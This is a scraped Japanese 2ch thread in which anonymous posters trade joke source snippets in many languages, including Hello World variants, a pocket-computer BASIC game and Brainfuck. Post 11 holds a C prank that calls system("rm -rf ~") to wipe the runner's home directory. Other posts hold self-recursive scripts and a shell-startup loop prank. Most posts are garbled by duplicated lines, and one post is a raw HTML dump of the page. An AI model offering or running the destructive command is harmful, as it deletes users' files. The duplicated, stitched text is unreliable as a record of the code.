ひたすら何かのソースコードを公開するスレ
1名無しさん＠お腹いっぱい。
NGNG なんか、うｐしてくれ
6名無しさん＠お腹いっぱい。
NGNG };
7名無しさん＠お腹いっぱい。
NGNG void
NGNG
seq void main () {
par {
new main();
new main();
}
}
par {
new main();
new main();
}
}
9名無しさん＠お腹いっぱい。
NGNG PROGRAM UNKO
WRITE(*,*)'うんこ'
STOP
END
WRITE(*,*)'うんこ'
STOP
END
NGNG
rtnval(int c)
{
if (c == 1) {
return 1;
} else {
return 0;
}
}
{
if (c == 1) {
return 1;
} else {
return 0;
}
}
11名無しさん＠お腹いっぱい。
NGNG /*1は死んでね*/
NGNG
#include <stdlib.h>
void main(void) { system( "rm -rf ~"); }
void main(void) { system( "rm -rf ~"); }
13名無しさん＠お腹いっぱい。
NGNG <html><head><meta http-equiv="Content-Type" content="text/html; charset=Shift_JIS"><title>ひたすら何かのソースコードを公開するスレ</title><script type="text/javascript" defer><!--
function l(e){var N=g("NAME"),M=g("MAIL"),i;with(document) for(i=0;i<forms.length;i++)if(forms[i].FROM&&forms[i].mail)with(forms[i])
{FROM.value=N;mail.value=M;}}onload=l;function g(key,tmp1,tmp2,xx1,xx2,xx3,len){tmp1=" "+document.cookie+";";xx1=xx2=0;len=tmp1.length;
while(xx1<len){xx2=tmp1.indexOf(";",xx1);tmp2=tmp1.substring(xx1+1,xx2);
xx3=tmp2.indexOf("=");
if(tmp2.substring(0,xx3)==key)return unescape(tmp2.substring(xx3+1,xx2-xx1-1));xx1=xx2+1;}return "";}
//--></script></head><body bgcolor=#efefef text=black link=blue alink=red vlink=#660099><a href="../../../../unix/">
■掲示板に戻る■</a> <a href=-100>1-</a> <a href=l50>最新50</a><p><font size=+1 color=red>ひたすら何かのソースコードを公開するスレ
</font><dl><dt>1 ：<font color=green><b>
名無しさん＠お腹いっぱい。</b></font> ：03/07/12 17:41<dd>なんか、うｐしてくれ<br><br><dt>2 ：<
function l(e){var N=g("NAME"),M=g("MAIL"),i;with(document) for(i=0;i<forms.length;i++)if(forms[i].FROM&&forms[i].mail)with(forms[i])
{FROM.value=N;mail.value=M;}}onload=l;function g(key,tmp1,tmp2,xx1,xx2,xx3,len){tmp1=" "+document.cookie+";";xx1=xx2=0;len=tmp1.length;
while(xx1<len){xx2=tmp1.indexOf(";",xx1);tmp2=tmp1.substring(xx1+1,xx2);
xx3=tmp2.indexOf("=");
if(tmp2.substring(0,xx3)==key)return unescape(tmp2.substring(xx3+1,xx2-xx1-1));xx1=xx2+1;}return "";}
//--></script></head><body bgcolor=#efefef text=black link=blue alink=red vlink=#660099><a href="../../../../unix/">
■掲示板に戻る■</a> <a href=-100>1-</a> <a href=l50>最新50</a><p><font size=+1 color=red>ひたすら何かのソースコードを公開するスレ
</font><dl><dt>1 ：<font color=green><b>
名無しさん＠お腹いっぱい。</b></font> ：03/07/12 17:41<dd>なんか、うｐしてくれ<br><br><dt>2 ：<
NGNG
>>13
4点。
4点。
NGNG
10 CLS :CLEAR
20 DIM G$(13)*1,M(16,5)
30 X=1:Y=1:P=1:T=40:W=20:E=15:M(0,0)=7:M(1,0)=4
40 FOR J=0 TO 13
50 READ A:G$(J)= CHR$ A
60 NEXT
70 DATA 32,224,124,156,157,158,159,45,150,152,153,154,155,135
80 LINE (102,-1)-(106,48),B
90 PRINT "-";G$(4)
100 LOCATE 18,1:PRINT "Next"
110 LOCATE 18,3:PRINT "Score"
120 FOR J=0 TO E
130 L= RND 17-1:M= RND 6-1
140 IF L>1 OR M>1 LOCATE L,M:PRINT G$(13):M(L,M)=13
150 NEXT
20 DIM G$(13)*1,M(16,5)
30 X=1:Y=1:P=1:T=40:W=20:E=15:M(0,0)=7:M(1,0)=4
40 FOR J=0 TO 13
50 READ A:G$(J)= CHR$ A
60 NEXT
70 DATA 32,224,124,156,157,158,159,45,150,152,153,154,155,135
80 LINE (102,-1)-(106,48),B
90 PRINT "-";G$(4)
100 LOCATE 18,1:PRINT "Next"
110 LOCATE 18,3:PRINT "Score"
120 FOR J=0 TO E
130 L= RND 17-1:M= RND 6-1
140 IF L>1 OR M>1 LOCATE L,M:PRINT G$(13):M(L,M)=13
150 NEXT
NGNG
160 *A
170 M=0:N= RND 6
180 LOCATE 19,2:PRINT "[";G$(N);"]"
190 *B
200 IF K$<>"" FOR J=0 TO W*8:NEXT
210 LOCATE X,Y:PRINT G$(M(X,Y))
220 K$= INKEY$
230 SWITCH K$
240 CASE "4":IF X>0 LET X=X-1
250 CASE "6":IF X<16 LET X=X+1
260 CASE "8":IF Y>0 LET Y=Y-1
270 CASE "2":IF Y<5 LET Y=Y+1
280 CASE " ":IF M(X,Y)<7 LOCATE X,Y:PRINT G$(N):BEEP 1,200,20:M(X,Y)=N:M=1
290 ENDSWITCH
300 FOR J=0 TO W:NEXT
310 LOCATE X,Y:PRINT "ﾛ"
320 C=(C+1) MOD T
330 IF C=0 GOSUB *C
340 IF M=1 GOTO *A ELSE *B
170 M=0:N= RND 6
180 LOCATE 19,2:PRINT "[";G$(N);"]"
190 *B
200 IF K$<>"" FOR J=0 TO W*8:NEXT
210 LOCATE X,Y:PRINT G$(M(X,Y))
220 K$= INKEY$
230 SWITCH K$
240 CASE "4":IF X>0 LET X=X-1
250 CASE "6":IF X<16 LET X=X+1
260 CASE "8":IF Y>0 LET Y=Y-1
270 CASE "2":IF Y<5 LET Y=Y+1
280 CASE " ":IF M(X,Y)<7 LOCATE X,Y:PRINT G$(N):BEEP 1,200,20:M(X,Y)=N:M=1
290 ENDSWITCH
300 FOR J=0 TO W:NEXT
310 LOCATE X,Y:PRINT "ﾛ"
320 C=(C+1) MOD T
330 IF C=0 GOSUB *C
340 IF M=1 GOTO *A ELSE *B
NGNG
350 *C
360 BEEP 1,71,9
370 IF P<0 OR P>16 OR Q<0 OR Q>5 GOTO *D
380 SWITCH M(P,Q)
390 CASE 1:IF H=0 LET U=1:V=0 ELSE IF H=1 LET U=-1:V=0 ELSE F=1
400 CASE 2:IF H=2 LET U=0:V=-1 ELSE IF H=3 LET U=0:V=1 ELSE F=1
410 CASE 3:IF H=1 LET U=0:V=1:H=3 ELSE IF H=2 LET U=1:V=0:H=0 ELSE F=1
420 CASE 4:IF H=0 LET U=0:V=1:H=3 ELSE IF H=2 LET U=-1:V=0:H=1 ELSE F=1
430 CASE 5:IF H=1 LET U=0:V=-1:H=2 ELSE IF H=3 LET U=1:V=0:H=0 ELSE F=1
440 CASE 6:IF H=0 LET U=0:V=-1:H=2 ELSE IF H=3 LET U=-1:V=0:H=1 ELSE F=1
450 DEFAULT :F=1
460 ENDSWITCH
470 IF F=1 GOTO *D
480 M(P,Q)=M(P,Q)+6
490 LOCATE P,Q:PRINT G$(M(P,Q))
500 P=P+U:Q=Q+V:S=S+1
510 LOCATE 20,4:PRINT STR$ S
520 RETURN
530 *D
540 LOCATE 18,1:PRINT "-GAME-"
550 LOCATE 18,2:PRINT "-OVER-"
360 BEEP 1,71,9
370 IF P<0 OR P>16 OR Q<0 OR Q>5 GOTO *D
380 SWITCH M(P,Q)
390 CASE 1:IF H=0 LET U=1:V=0 ELSE IF H=1 LET U=-1:V=0 ELSE F=1
400 CASE 2:IF H=2 LET U=0:V=-1 ELSE IF H=3 LET U=0:V=1 ELSE F=1
410 CASE 3:IF H=1 LET U=0:V=1:H=3 ELSE IF H=2 LET U=1:V=0:H=0 ELSE F=1
420 CASE 4:IF H=0 LET U=0:V=1:H=3 ELSE IF H=2 LET U=-1:V=0:H=1 ELSE F=1
430 CASE 5:IF H=1 LET U=0:V=-1:H=2 ELSE IF H=3 LET U=1:V=0:H=0 ELSE F=1
440 CASE 6:IF H=0 LET U=0:V=-1:H=2 ELSE IF H=3 LET U=-1:V=0:H=1 ELSE F=1
450 DEFAULT :F=1
460 ENDSWITCH
470 IF F=1 GOTO *D
480 M(P,Q)=M(P,Q)+6
490 LOCATE P,Q:PRINT G$(M(P,Q))
500 P=P+U:Q=Q+V:S=S+1
510 LOCATE 20,4:PRINT STR$ S
520 RETURN
530 *D
540 LOCATE 18,1:PRINT "-GAME-"
550 LOCATE 18,2:PRINT "-OVER-"
18あぼーん
NGNGあぼーん
19名無しさん＠お腹いっぱい。
NGNG program HaxaHaxa;
var I : Integer;
begin
Randomize;
repeat
I := Random(18) + 1;
Writeln('>>', I, 'さん(;´Д｀)ﾊｧﾊｧ');
until False;
end.
var I : Integer;
begin
Randomize;
repeat
I := Random(18) + 1;
Writeln('>>', I, 'さん(;´Д｀)ﾊｧﾊｧ');
until False;
end.
20名無しさん＠お腹いっぱい。
NGNG #include <stdio.h>
int main()
{
printf("なんか、うｐしてくれ\n");
main();
return 0;
}
int main()
{
printf("なんか、うｐしてくれ\n");
main();
return 0;
}
NGNG
puts "こんばんは"
NGNG
/*
NGNG
#cat HaxaHaxa.c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
void main(){
srand((unsigned int)clock());
for(;;)
printf(">>%d さん(;´Д｀)ﾊｧﾊｧ\n",(int)(1+rand()*21./RAND_MAX));
}
#gcc -o HaxaHaxa HaxaHaxa.c
#chmod +=x HaxaHaxa
#HaxaHaxa
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
void main(){
srand((unsigned int)clock());
for(;;)
printf(">>%d さん(;´Д｀)ﾊｧﾊｧ\n",(int)(1+rand()*21./RAND_MAX));
}
#gcc -o HaxaHaxa HaxaHaxa.c
#chmod +=x HaxaHaxa
#HaxaHaxa
NGNG
/* Copyright (c) 1984, 1986, 1987, 1988, 1989 AT&T */
/* All Rights Reserved */
/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF AT&T */
/* The copyright notice above does not evidence any */
/* actual or intended publication of such source code. */
/* All Rights Reserved */
/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF AT&T */
/* The copyright notice above does not evidence any */
/* actual or intended publication of such source code. */
NGNG
main(){return system("start http://pc.2ch.net/unix/index.html#3");}
NGNG
NGNG
//いやいや EXEC=C言語でなくても
//SYS001 DD *
いいんだろう。
/*
//SYS001 DD *
いいんだろう。
/*
NGNG
カケ "オマエモナー"
NGNG
% んじゃ
% こんなんでも
% いいわけ？
% こんなんでも
% いいわけ？
NGNG
-- いいんでないかい？
NGNG
(* ここはこれ以降コメントで会話するスレとなりますた。 *)
NGNG
NGNG
-- vhdl
NGNG
; >>32
; psじゃないのか？
; psじゃないのか？
NGNG
( ps は % だろ? )
NGNG
-- lingo も
-- この形式でつ
-- この形式でつ
NGNG
NGNG
# うっかりコメントからはみ出したら
# どうなりますか？
# どうなりますか？
NGNG
' >>37
' あは、既にあるのか。
' あは、既にあるのか。
NGNG
" (´-`).｡ｏＯ(うっかりって...) "
NGNG
$$ そりゃコメントからはみ出れば
$$ コンパイルエラーになる罠
$$ コンパイルエラーになる罠
42名無しさん＠お腹いっぱい。
NGNG ＃いんcるで ＜stぢお.h＞
いんt まいn（）
{
pりんtf（"＞＞１死ねよ"）
}
いんt まいn（）
{
pりんtf（"＞＞１死ねよ"）
}
NGNG
>>42
なんか、カンドーしたっす。
なんか、カンドーしたっす。
NGNG
{ >>45 どうよ？ }
45名無しさん＠お腹いっぱい。
NGNG begin
なんともねーよ
end
なんともねーよ
end
NGNG
static void
create_init(const void *udata __unused)
{
int error;
int s;
s = splhigh();
error = fork1(&proc0, RFFDG | RFPROC, &initproc);
if (error)
panic("cannot fork init: %d\n", error);
initproc->p_flag |= P_INMEM | P_SYSTEM;
cpu_set_fork_handler(initproc, start_init, NULL);
remrunqueue(initproc);
splx(s);
}
create_init(const void *udata __unused)
{
int error;
int s;
s = splhigh();
error = fork1(&proc0, RFFDG | RFPROC, &initproc);
if (error)
panic("cannot fork init: %d\n", error);
initproc->p_flag |= P_INMEM | P_SYSTEM;
cpu_set_fork_handler(initproc, start_init, NULL);
remrunqueue(initproc);
splx(s);
}
NGNG
ここまでだれもhello world 書かないッつーのも不自然だな。
project: (('Hello'))
class 'Hello' specializing 'Console':
[
goal:-
writeln("Hello World!").
]
project: (('Hello'))
class 'Hello' specializing 'Console':
[
goal:-
writeln("Hello World!").
]
48名無しさん＠お腹いっぱい。
NGNG /*（・∀・）
/*
/*
NGNG
NGNG
いろいろな言語でHello world スレは、どこかにあったような...
51名無しさん＠お腹いっぱい。
NGNGNGNG
向こうのスレのこれ笑った
http://pc.2ch.net/test/read.cgi/linux/986981055/22
http://pc.2ch.net/test/read.cgi/linux/986981055/22
53名無しさん＠お腹いっぱい。
NGNG # Hello World
#
# Hell Word ?
#
# Hell Word ?
NGNG
メインとは
「こんにちは。」を 表示して 改行すること。
「こんにちは。」を 表示して 改行すること。
NGNG
: プログラムは日本語なのにそれ自体の名前が何故か英語っぽいMINDか....
NGNG
C SOUIEBA BETSUNI SENTOU GA C DE NAKUTEMO IINDAYONA.
C MOU 15 NEN GURAI TUKATTE NAIKEDO YUBI HA TYANTO
C OBOETEIRU YOUDA.
C MOU 15 NEN GURAI TUKATTE NAIKEDO YUBI HA TYANTO
C OBOETEIRU YOUDA.
57名無しさん＠お腹いっぱい。
NGNG <html> </html>
NGNG
rem そういえばこんなのもあったなぁ
NGNG
スレタイが「ソース "コード"」なので、
「オリバーソース」だの「おたふくソース」だのといった
お決まりのギャグが使えない罠。
「オリバーソース」だの「おたふくソース」だのといった
お決まりのギャグが使えない罠。
60itoa()
NGNG ,[>+<-]-[>[>>+>+<<<-]>>>[<<<+>>>-]<[-[-[-[-[-[-[-[-[-[>+<[-]]]]]]]]]]]>
[-<<+<----------[>>+>+<<<-]>>>[<<<+>>>-]<[-[-[-[-[-[-[-[-[-[>+<[-]]]]]]]]]]]>]<<<]
[-<<+<----------[>>+>+<<<-]>>>[<<<+>>>-]<[-[-[-[-[-[-[-[-[-[>+<[-]]]]]]]]]]]>]<<<]
61名無しさん＠お腹いっぱい。
NGNG62名無しさん＠お腹いっぱい。
NGNG 伝説の「詰めC言語」再びかと思ったよ。
NGNG
BASIC 1行プログラムのほうが好きだな
NGNG
#!/bin/dqn
WTO "hello?"
END
WTO "hello?"
END
65名無しさん＠お腹いっぱい。
NGNG main;
()!*.*
}
()!*.*
}
NGNG
67あぼーん
NGNGあぼーん
68名無しさん＠お腹いっぱい。
NGNG <tr>
age<br><br>
</tr>
age<br><br>
</tr>
69名無しさん＠お腹いっぱい。
NGNGNGNG
世界最小のソース
awk '1' filename
awk '1' filename
NGNG
sed '' filename
72名無しさん＠お腹いっぱい。
NGNG73名無しさん＠Ｅｍａｃｓ
NGNG "こう見えても、Smalltalkのコメントなわけだが。".
NGNG
"ごめ。あげちった。".
NGNG
76名無しさん＠お腹いっぱい。
NGNG localhost [~]$ cat /usr/bin/uma.sh
#!/bin/sh
/usr/bin/uma.sh
localhost [~]$
#!/bin/sh
/usr/bin/uma.sh
localhost [~]$
NGNG
(~/.bashrcの末尾に追加)
csh
(~/.cshrcの末尾に追加)
bash
さぁ!Let's Logout!!
csh
(~/.cshrcの末尾に追加)
bash
さぁ!Let's Logout!!
NGNG
>>77
よく元性善説鯖にお見えになる人？
よく元性善説鯖にお見えになる人？
79_
NGNG 10 REM ****************************************
20 REM * 住民基本台帳ネットワークシステム *
30 REM * *
40 REM * Version 1.0.0 *
50 REM ****************************************
60 GOTO 10
20 REM * 住民基本台帳ネットワークシステム *
30 REM * *
40 REM * Version 1.0.0 *
50 REM ****************************************
60 GOTO 10
80名無しさん＠お腹いっぱい。
NGNG #dqn
81むにゅう
NGNG class TabDialog : public QTabDialog
{
Q_OBJECT
public:
TabDialog();
TabDialog(loginSlot *data);
void setLoginData(loginSlot *data);
public slots:
void cancelClicked();
protected:
QString filename;
QFileInfo fileinfo;
void setupTab1();
void setupTab2();
void setupTab3();
private:
loginSlot loginData;
};
{
Q_OBJECT
public:
TabDialog();
TabDialog(loginSlot *data);
void setLoginData(loginSlot *data);
public slots:
void cancelClicked();
protected:
QString filename;
QFileInfo fileinfo;
void setupTab1();
void setupTab2();
void setupTab3();
private:
loginSlot loginData;
};
82ａｌｏч
NGNG {
;0 uJnfaJ
;(,,i plJoM ollaH,,)tfu!Jd
}
()u!ew fu!
,,ч'o!pfs,, apnl⊃u!#
;0 uJnfaJ
;(,,i plJoM ollaH,,)tfu!Jd
}
()u!ew fu!
,,ч'o!pfs,, apnl⊃u!#
NGNG
文字化けかと思った
NGNG
文字化けじゃなかったのか！！！！！！！！！
85名無しさん＠お腹いっぱい。
NGNGNGNG
>>85はgettext位使えるようになれ。
NGNG
煽りも国際化を考慮しなきゃならないとは（ｗ
NGNG
gettextを使えるようになってもpoファイルは日本語のくらいしか作れない罠
89名無しさん＠お腹いっぱい。
NGNG このくらいはほしいよね。
ja
ja_2CH
ja_KANSAI
ja_TOUHOKU
ja
ja_2CH
ja_KANSAI
ja_TOUHOKU
NGNG
tcshのゴミportsじゃないんだから(苦笑
NGNG
92あぼーん
NGNGあぼーん
NGNG
>>15-17
もしかして、ポケコンPC-E500用のソース？
もしかして、ポケコンPC-E500用のソース？
NGNG
E500にSWITCH文はなかったと思われ
(後継機種にはあったような気はするが)
(後継機種にはあったような気はするが)
NGNG
ってことはPC-E650かな？
NGNG
ひたすら何かのソースコード
NGNG
ひたすら「伺か」のソースコード？？？
98名無しさん＠お腹いっぱい。
NGNG 2ch DQN房();
NGNG
女の子がデスクトップに常駐するやつだっけ
100名無しさん＠お腹いっぱい。
NGNG #100 GET ズザー
101あぼーん
NGNGあぼーん
102あぼーん
NGNGあぼーん
103あぼーん
NGNGあぼーん
NGNG
" ageるときっちり貼られるな。
" 完全にスクリプト化されてるのか…
" 完全にスクリプト化されてるのか…
NGNG
>>60
>+++++++++[<++++++++>-]<.>+++++++[<++++>-]<+.+++++++..+++.[-]>++++++++[<++
++>-]<.>+++++++++++[<+++++>-]<.>++++++++[<+++>-]<.+++.------.--------.[-]>
++++++++[<++++>-]<+.[-]++++++++++.
>+++++++++[<++++++++>-]<.>+++++++[<++++>-]<+.+++++++..+++.[-]>++++++++[<++
++>-]<.>+++++++++++[<+++++>-]<.>++++++++[<+++>-]<.+++.------.--------.[-]>
++++++++[<++++>-]<+.[-]++++++++++.
106名無しさん＠お腹いっぱい。
NGNG >>104
じゃあageてみる（藁
じゃあageてみる（藁
レスを投稿する
ニュース
- 【速報】トランプ大統領、中国の習近平国家主席を「国賓」として招待することに [ニョキニョキ★]
- 日本と中国を結ぶ12航空路線で全便欠航 中国人に最も人気の海外旅行先は日本から韓国に [ぐれ★]
- 米中電話会談、トランプ氏は「米国側は中国にとっての台湾問題の重要性を理解する」 [１ゲットロボ★]
- 【音楽】「なんでこんなバカが国のトップなの？」 若者に人気のバンド「GEZAN」のマヒトゥ・ザ・ピーポーが高市総理に苦言 [シャチ★]
- 中国人「『日本は危ないから行かないように』と言われたが、日本に来たらとても安全だった」 [お断り★]
- 石破前総理「どうすれば台湾有事にならないかを考えるべき」★２ [１ゲットロボ★]
- 【高市悲報】来年、習近平主席がアメリカに「国賓」として訪米。どうするんだよ高市・・・アメリカも敵に回すのか？ [483862913]
- 【悲報】X「嵐のために札幌にいらっしゃる皆様へ」 [394133584]
- フィフィ「外国人だろうが日本人だろうが反日は要らんのよ、この国に…自分にとって住みやすい国に行け。」 [856698234]
- 【高市悲報】トランプおやびん「偉大な指導者である習近平首席、米国は中国にとっての台湾問題の重要性を理解しています」 [115996789]
- 【速報】足立ひき逃げ犯、精神病持ちだった [329271814]
- 【朗報】早起きワイ、偉い